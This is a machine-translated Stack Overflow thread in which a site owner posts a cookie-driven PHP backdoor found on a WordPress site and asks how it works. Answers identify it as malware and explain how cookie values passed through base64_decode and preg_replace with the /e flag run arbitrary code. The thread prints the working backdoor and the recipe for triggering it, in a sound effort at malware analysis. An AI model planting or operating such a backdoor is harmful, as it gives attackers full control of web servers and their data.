2015-02-11 37 views
3

PHP代碼,我發現了這樣有趣的代碼:執行從餅乾

class PluginJoomla { 
    public function __construct() { 
     $jq = @$_COOKIE['ContentJQ3']; 
     if ($jq) { 
      $option = $jq(@$_COOKIE['ContentJQ2']); 
      $au=$jq(@$_COOKIE['ContentJQ1']); 
      $option("/438/e",$au,438); die(); 
     } 
     else 
      phpinfo();die; 
    } 
} 
$content = new PluginJoomla; 

這是WordPress的網站的一部分,所以忽略類名。 正如你所看到的$ jq變量從一些Cookie文件中獲取它的值。後來,它看起來像一個函數進行處理:

$jq(@$_COOKIE['ContentJQ2']); 

正如你可以在這裏看到,這是一個很基本的PHP的東西用變量函數(https://php.net/manual/en/functions.variable-functions.php)。

後來$ JQ變量函數返回$選項變量和字符串AU $變量的函數:

$option = $jq(@$_COOKIE['ContentJQ2']); 
$au=$jq(@$_COOKIE['ContentJQ1']); 
$option("/438/e",$au,438); 

所以,我有一個問題,就是有可能做相同,但與執行來自Cookie文件的PHP代碼(不僅考慮exec()函數,還包括require()或使用ob_start()和ob_get_clean())的文件?

另外你怎麼看代碼本身,它是某種病毒或惡意軟件?

+0

它從來沒有工作。 – 2015-02-11 18:18:01

+0

如果$ _COOKIE ['ContentJQ3']'包含一個PHP函數名稱,它爲什麼不能工作? [demo](http://ideone.com/AuKyTx)當然,如果$ _COOKIE ['ContentJQ3']包含像''file_get_contents'' – 2015-02-11 18:37:27

+0

這樣的東西,無論代碼不使用它,你可以使用它來運行任何php函數併爲其設置變量。記得cookies是瀏覽器端,所以你需要像對待任何其他用戶輸入一樣對待它們。 – David 2015-02-11 19:11:42

回答

4

這絕對是一個惡性劇本。讓我猜,你發現它在/ wp-content/uploads/gravity_forms/...?這就是我在十幾個網站上發現它的地方,我的客戶沒有更新他們的重力形式安裝。 (幸運的是/wp-content/uploads/*.php在我的服務器上被阻止。)

「$ option(」/ 438/e「,$ au,438);」意味着$ option是preg_replace時執行$ au,因爲/ e標誌。使用$ _COOKIE ['ContentJQ3'] =「base64_decode」,$ _COOKIE ['ContentJQ1'] = base64(「preg_replace」)和$ _COOKIE ['ContentJQ2'] = base64(「arbitrary_php_code();」),這最終會執行黑客喜歡的任何php代碼。然後它可以用來從文件系統下載任何文件(PHP可以訪問;請記住open_basedir),對數據庫做任何你喜歡的事情。

如果你在你的文件系統上找到這個文件,請檢查你的訪問日誌,看看你是否被黑客入侵。如果你不能證明你沒有,請考慮你的網站已被泄密。

0

這是惡意的行爲! AVG將其標識爲Linux/Roopre,這是個壞消息,因爲@Geeklab指出,它可以在WP網站的上下文中執行任何操作。